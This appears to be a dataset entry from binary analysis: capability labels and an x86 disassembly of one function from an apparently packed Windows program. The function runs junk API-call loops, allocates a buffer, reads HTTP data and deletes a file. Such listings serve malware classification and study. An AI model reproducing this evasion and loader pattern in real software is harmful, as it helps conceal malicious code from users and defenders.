Function at 0x403340
Capabilities:
Delete file
Enumerate gui resources
Get common file path
Get hostname
Receive http response

Disassembly:
mov eax, 0x1430
call fcn.004037a0
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateActCtxW]
xor esi, esi
cmp esi, 0x1396
jne 0x403369
mov eax, 0x38d6
add dword [0x457bc0], eax
cmp dword [0x457bc0], 0xdcc
jne 0x40337c
lea eax, [esp + 0x18]
push eax
call edi
inc esi
cmp esi, 0x319e82
jl 0x403356
mov ecx, dword [0x457bc0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
mov edi, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebp, dword [sym.imp.KERNEL32.dll_FoldStringA]
mov dword [0x457294], eax
mov eax, dword [0x457bc0]
mov dword [esp + 0x10], 0x962af2
mov edi, edi
cmp eax, 3
jne 0x4033da
lea edx, [esp + 0x440]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x457bc0]
cmp eax, 0xd
jne 0x403415
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0
call edi
push 0
lea eax, [esp + 0x444]
push eax
push 0
call ebx
push 0
lea ecx, [esp + 0x44]
push ecx
push 0
push 0
push 0
call ebp
mov eax, dword [0x457bc0]
dec dword [esp + 0x10]
jne 0x4033c0
xor esi, esi
test eax, eax
je 0x403470
mov edi, dword [sym.imp.KERNEL32.dll__llseek]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemTime]
lea ecx, [ecx]
cmp eax, 0xfe
jne 0x403460
push 0
push 0
push 0
call edi
xor eax, eax
mov dword [esp + 0x1a], eax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov word [esp + 0x26], ax
lea eax, [esp + 0x18]
xor edx, edx
push eax
mov word [esp + 0x1c], dx
call ebx
push esi
call fcn.00402da0
mov eax, dword [0x457bc0]
inc esi
cmp esi, eax
jb 0x403430
cmp eax, 0x19c
jne 0x4034e7
push 0x401238
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
lea ecx, [esp + 0x444]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0xc44]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea ecx, [esp + 0x14]
push ecx
push 0
lea edx, [esp + 0x48]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov esi, dword [sym.imp.USER32.dll_GetMenuInfo]
mov edi, dword [sym.imp.USER32.dll_GetListBoxInfo]
mov ebx, dword [sym.imp.USER32.dll_LoadMenuW]
mov ebp, 0x4f4
mov edi, edi
push 0
push 0
call esi
push 0
call edi
push 0
push 0
call ebx
dec ebp
jne 0x403500
mov esi, dword [sym.imp.KERNEL32.dll_AddAtomA]
mov edi, dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
mov ebx, 0x2594b
cmp dword [0x457bc0], 0x15a
jne 0x403546
push 0
call esi
mov eax, dword [esp + 0x10]
push 0
push eax
push 0
push 0
lea ecx, [esp + 0x20]
push ecx
call edi
dec ebx
jne 0x403524
mov ebp, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
xor esi, esi
jmp 0x403560
cmp esi, 0x1bab9
jge 0x403574
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x1ea078a5
jle 0x40358e
cmp ebp, 0xacc888
je 0x40358e
cmp dword [esp + 0x24], 0xad669fc
jne 0x403597
inc esi
cmp esi, 0x8df05308
jb 0x403560
mov byte [0x440368], 0
call fcn.00402ed0
mov edx, dword [0x457bc0]
mov eax, dword [0x457294]
push 0x43c2a8
push edx
push eax
call fcn.00402d70
call fcn.00402eb0
mov esi, dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
mov ebp, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov dword [esp + 0x10], 0xdd7b3
nop
cmp dword [0x457bc0], 0x21
jne 0x40361d
push 0x401248
push 0x401258
call esi
push 0
push 0
lea ecx, [esp + 0x48]
push ecx
push 0
call edi
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0xc44]
push eax
push 0
call ebx
push 0
push 0
push 0
push 0
call ebp
dec dword [esp + 0x10]
jne 0x4035e0
call fcn.00402bb0
cmp dword [0x457bc0], 0x58c
pop edi
pop esi
pop ebp
mov byte [0x440369], 0x73
pop ebx
jne 0x403675
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
call fcn.00402ea0
xor eax, eax
add esp, 0x1430
ret